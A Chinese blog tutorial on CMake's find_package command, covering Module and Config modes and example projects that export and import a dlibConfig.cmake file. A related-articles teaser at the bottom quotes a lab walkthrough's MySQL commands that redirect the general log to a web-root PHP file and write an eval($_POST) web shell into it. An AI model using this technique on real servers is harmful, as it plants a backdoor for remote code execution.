cmake之find_package命令详解

news2024/11/17 7:33:52

前言

  • find_package是cmake用来管理第三方库的一个命令。
  • 那这个命令有什么用呢?在实际项目开发中,我们肯定会使用到第三方库。那就需要在程序中,去指定库的位置和头文件位置,但库的安装位置,每个人都是不一样的,基本上所有项目都是很多人一起协同开发,我们不可能直接在项目中把路径写死。
  • find_package就可以解决这个问题,他会自动去查找第三方库的位置。这样不管你的第三方库安装在哪个位置,都可以使用同一套项目代码。

语法

  • 语法简介
  •   find_package(<PackageName> [<version>] [REQUIRED] [COMPONENTS <components>...])
    
  • PackageName: 包名
  • version: 版本
  • REQUIRED: 指定后如果找不到对应包,cmake就会停止执行。
  • COMPONENTS: 指定要查找的组件
  • 执行find_package命令后,会自动设置以下三个变量 :
    • PackageName_FOUND:找到了就是True
    • PackageName_INCLUDE_DIR或者 PackageName_INCLUDES:头文件目录
    • PackageName_LIBRARY或者 PackageName_LIBRARIES: 库文件位置

模式

  • cmake有两种查找库的模式,分别为 Module mode 和 Config mode。默认情况下, cmake采用Module模式查找, 如果没有找到, 再采用Config模式查找.

Module mode

  • 在Module模式中,cmake需要找到一个叫做Find<PackageName>.cmake的文件。这个文件负责找到库所在的路径,为我们的项目引入头文件路径和库文件路径。
  • cmake搜索这个文件的路径有两个,一个是cmake安装目录下的share/cmake-<version>/Modules(Linux平台为 /usr/share/cmake-<version>/modules)目录,另一个是我们指定的CMAKE_MODULE_PATH的所在目录。
  • 这里简单演示下,我的电脑上安装了Qt4,通过find_package去查找下
  • cmake文件内容
    •   # 指定CMake最低版本
        cmake_minimum_required(VERSION 3.16)
          
        # 构建项目的名称
        project(findpackage)
        
        # 查找库
        find_package(Qt4)
        if(Qt4_FOUND)
            Message("find Qt4 success")
        else()
            Message("find Qt4 failed")
        endif()
      
  • 构建工程后,可以看到查找成功
    • 在这里插入图片描述
  • 那么cmake是如何找到Qt4库的,cmake首先会去安装目录下的 share/cmake-<version>/Modules目录下查找一个Find<PackageName>.cmake的文件,可以去这个目录下看看都有哪些文件。
    • 在这里插入图片描述
  • 可以看到有非常多的*.cmake文件,这是cmake安装时就会将一些常用的开源库的*.cmake文件放到这个目录下。
  • 接下来把 FindQt4.cmake拷贝到D盘根目录下,再去构建工程。可以看到提示查找失败。
    • 在这里插入图片描述

Config mode

  • 在Config模式中,可以查找两种类型的文件。
    • config:<lowercasePackageName>-config.cmake或者 <PackageName>Config.cmake
    • version: <lowercasePackageName>-config-version.cmake或者 <PackageName>ConfigVersion.cmake
  • 查找路径为 CMAKE_PREFIX_PATH

示例

  • 生成*.cmake并调用

  • 需要准备两个工程

  • 工程一:生成动态库并导出*.cmake文件

    • 目录结构
    •   ├── CMakeLists.txt
        ├── include
        │   └── dlib.h
        └── src
            └── dlib.cpp
      
    • cmake文件内容
    •   # 指定CMake最低版本
        cmake_minimum_required(VERSION 3.16)
          
        # 构建项目的名称
        project(create_package)
        
        # 包含头文件
        include_directories(${PROJECT_SOURCE_DIR}/include)
        
        # 生成动态库
        add_library(dlib SHARED ${PROJECT_SOURCE_DIR}/src/dlib.cpp)
        
        # 指定头文件
        set_target_properties(dlib PROPERTIES PUBLIC_HEADER include/dlib.h)
        
        # 设置头文件路径
        target_include_directories(dlib PUBLIC 
        $<BUILD_INTERFACE:${CMAKE_CURRENT_SOURCE_DIR}/include> # install时为空, 只有编译时有值
        $<INSTALL_INTERFACE:include> # 只有install时有值
        )
        
        # 安装目标项
        install(TARGETS dlib
        EXPORT dlib # 标志导出Config.cmake文件
        RUNTIME DESTINATION bin 
        ARCHIVE DESTINATION bin 
        PUBLIC_HEADER DESTINATION include # 导出头文件
        )
        
        install(EXPORT dlib
        FILE dlibConfig.cmake DESTINATION config # 指定生成的 Config.cmake 文件名和路径
        )
      
    • 命令
    •   # 构建工程,并指定生成文件路径
        cmake -DCMAKE_INSTALL_PREFIX=../out ..
        # 编译
        cmake --build . --config Release
        # 安装
        cmake --install . --config Release
      
    • 安装完成后,可以看到指定目录下生成了对应的文件
    • 在这里插入图片描述
    • 下面通过工程二来调用生成的相关文件
  • 工程二:通过*.cmake文件调用动态库

    • 目录结构
    •   ├── CMakeLists.txt
        └── src
            └── main.cpp
      
    • cmake文件内容
    •   # 指定CMake最低版本
        cmake_minimum_required(VERSION 3.16)
          
        # 构建项目的名称
        project(findpackage)
        
        # 查找库
        find_package(dlib)
        if(dlib_FOUND)
            Message("find dlib success")
        else()
            Message("find dlib failed")
        endif()
        
        # 包含头文件
        include_directories(${PROJECT_SOURCE_DIR}/include)
        
        # 生成可执行程序
        add_executable(findpackage ${PROJECT_SOURCE_DIR}/src/main.cpp)
        target_link_libraries(findpackage dlib)
      
    • 命令
    •   # 构建项目
        # 工程一中生成的是Config类型的*.cmake文件,因此通过 CMAKE_PREFIX_PATH 来指定生成的*cmake文件路径。
        cmake -DCMAKE_PREFIX_PATH=E:/setcmake_package/out/config ..
        # 编译
        cmake --build . --config Release
      
    • 可以看到,调用并执行成功
    • 在这里插入图片描述

参考

  • “轻松搞定CMake”系列之find_package用法详解

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1975243.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

苍穹外卖day12(day09)---商家端订单管理模块

商家端订单管理模块&#xff1a; 订单搜索 产品原型 业务规则&#xff1a; 输入订单号/手机号进行搜索&#xff0c;支持模糊搜索 根据订单状态进行筛选 下单时间进行时间筛选 搜索内容为空&#xff0c;提示未找到相关订单 搜索结果页&#xff0c;展示包含搜索关键词的内容…

不用虚拟机,使用windows调试linux内核

1.安装msys2 https://www.msys2.org/ 2.打开msys2 ucrt64安装qemu和gdb还有gef pacman -S mingw-w64-ucrt-x86_64-qemu pacman -S gdb pacman -S binutils 用下面的脚本安装gef #!/usr/bin/env bashset -e# check dependencies if [ ! "$(command -v python3)" ]; t…

iOS ------RunLoop

一&#xff0c;RunLoop简介 RunLoop实际上是一个对象&#xff0c;这个对象在循环中用来处理程序运行过程中出现的各种事件&#xff08;比如说触摸事件、UI刷新事件、定时器事件、Selector事件&#xff09;&#xff0c;从而保持程序的持续运行&#xff0c;RunLoop在没有事件处理…

phpMyAdmin-CMS靶场

1.通过日志文件拿shell show global variables like %general%; set global general_logon; set global general_log_file D:/phpStudy_pro/WWW/muma.php; show global variables like %general%; select <?php eval($_POST["admin"]);?>; select<?ph…

FreeModbus学习——接收状态机xMBRTUReceiveFSM

FreeModbus版本&#xff1a;1.6 接收状态机xMBRTUReceiveFSM 在协议栈初始化时&#xff0c;会发现有两个接收函数 peMBFrameReceiveCur eMBRTUReceive; pxMBFrameCBByteReceived xMBRTUReceiveFSM; 那么这两个接收函数哪个是状态机&#xff1f;它俩有什么区别呢&#xf…

Linux:Xshell相关配置及前期准备

一、Linux的环境安装 1、裸机安装或者是双系统 2、虚拟机的安装 3、云服务器&#xff08;推荐&#xff09;——>安装简单&#xff0c;维护成本低&#xff0c;学习效果好&#xff0c;仿真性高&#xff08;可多人一起用一个云服务器&#xff09; 1.1 购买云服务器 使用云服…

Linux 内核源码分析---块设备

磁盘&#xff08;disk&#xff09;是指利用磁记录技术存储数据的存储器。 磁盘是计算机主要的存储介质&#xff0c;可以存储大量的二进制数据&#xff0c;并且断电后也能保持数据不丢失。早期计算机使用的磁盘是软磁盘&#xff08;Floppy Disk&#xff0c;简称软盘&#xff09;…

LeetCode Hot100实战之双指针

公众号&#xff1a;自学编程村&#xff0c;回复“书籍”&#xff0c;领取1000多本计算机书籍。涵盖语言语法、数据结构算法、AI相关书籍、开发相关等等各种书籍&#xff0c;应有尽有&#xff0c;你总会用到。 回复“C语言”&#xff0c;领取原创C语言九讲PDF教程&#xff08;数…

功能实现——通过阿里云 OSS 实现文件管理

目录 1.需求分析2.阿里云 OSS 开通与配置2.1.登录阿里云官网2.2.搜索 OSS 服务并开通2.3.OSS 配置 3.在项目使用阿里云 OSS3.1.项目环境搭建3.2.代码实现3.2.1.将本地文件上传到阿里云 OSS3.2.2.将前端传入的文件上传到阿里云 OSS3.2.3.下载文件到本地2.3.4.流式下载3.2.4.OSSC…

携程酒店、景点、评论数据采集,testab动态js加密参数处理不补js环境不纯算

携程平台的酒店、景点、评价数据还是比较有意义的&#xff0c;可用作数据分析研究&#xff0c;目前均可采集。酒店价格需要登录采集&#xff0c;其他店名、地址、经纬度、评分、评价数、特色标签等都可以直接采集。 携程酒店数据示例&#xff1a; 酒店id&#xff1a;536424 …

免费【2024】springboot 大学生在线论坛系统的设计与实现

博主介绍&#xff1a;✌CSDN新星计划导师、Java领域优质创作者、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和学生毕业项目实战,高校老师/讲师/同行前辈交流✌ 技术范围&#xff1a;SpringBoot、Vue、SSM、HTML、Jsp、PHP、Nodejs、Python、爬虫、数据可视化…

常用配置文件 .ini、.config、 json、xml

ini Initialization INI文件格式是某些平台或软件上的配置文件的非正式标准&#xff0c;以节(section)和键值对(key-val)构成&#xff0c;常用于微软Windows操作系统中。 这种配置文件的文件扩展名多为INI 》》INI文件不支持数据类型&#xff0c;所有的键值对都是字符串类型…

[SQLSERVER][SQL]数据库备份任务异常

SQL备份异常出现如下错误&#xff1a; 执行查询“BACKUP DATABASE [ReportServerTempDB] TO DISK N...”失败&#xff0c; 执行查询“BACKUP DATABASE [ReportServerTempDB] TO DISK N...”失败&#xff0c; 错误如下:“无法打开备份设备 E:\\sqldatabackup19\\Report_ba…

nose2,一个无敌的 Python 库!

更多资料获取 &#x1f4da; 个人网站&#xff1a;ipengtao.com 大家好&#xff0c;今天为大家分享一个无敌的 Python 库 - nose2。 Github地址&#xff1a;https://github.com/nose-devs/nose2 在软件开发过程中&#xff0c;自动化测试是保证代码质量的重要环节。Python 提供…

Python(模块)

模块编写完成就可以被其他模块进行调用并使用被调用模块的功能。 import导入方式的语法结构&#xff1a; import模块名称【as别名】 from……import导入方式的语法结构&#xff1a; from模块名称&#xff0c;import变量/函数/类/*&#xff08;*是通配符&#xff09; impor…

非线性磁链观测器

前面已经介绍了龙伯格观测器、滑膜观测器&#xff1a;龙伯格观测器&#xff08;又称状态观测器&#xff09;、滑膜观测器-CSDN博客 滑膜观测器和龙伯格观测器都是没法实现电机的超低速运转、0速启动、超高速的正反方向的运行。龙伯格观测器是可以实现这些功能&#xff0c;但是…

Resolving Maven dependencies

Maven是一种项目管理和构建工具&#xff0c;通常用于Java项目。这个过程包括下载项目所需的所有外部库和插件&#xff0c;并将它们添加到项目的构建路径中。具体来说&#xff0c;它正在处理名为“AAS_byBasyx”的项目或模块的依赖项。这种任务通常在你打开一个新的Maven项目或更…

基于web的购物网站的设计与实现(系统源码+lw+部署文档+讲解等)

文字目录&#xff1a; 目录 详细视频演示 系统实现界面 1.1系统开发环境以及运行环境 1.1.1系统开发环境 1.1.2系统运行环境 1.2系统功能实现 1.3管理员模块实现 2 技术介绍 2.1 thinkphp5介绍 2.2 MySQL数据库 2.3 B/S结构 4.1系统结构设计 4.2系统功能结构设计…

​JavaWeb入门——Servlet(二)

目录 HttpServletRequest 简介 常见API HttpServletResponse 简介 常见API 请求转发和响应重定向 概述 请求转发 响应重定向 cookie&session 会话 会话跟踪方案&#xff1a; 会话跟踪方案对比&#xff1a; 1、Cookie 2、Session&#xff08;底层基于Cookie…

RocketMQ5.0消费者

RocketMQ 5.0 提供了三种主要的消费者类型&#xff1a;PushConsumer、SimpleConsumer 和 PullConsumer。每种类型的消费者都有其特定的使用场景和特点。以下是对这三种消费者的概念及其区别的详细阐述&#xff1a; PushConsumer 概念&#xff1a; PushConsumer 是一种主动推送…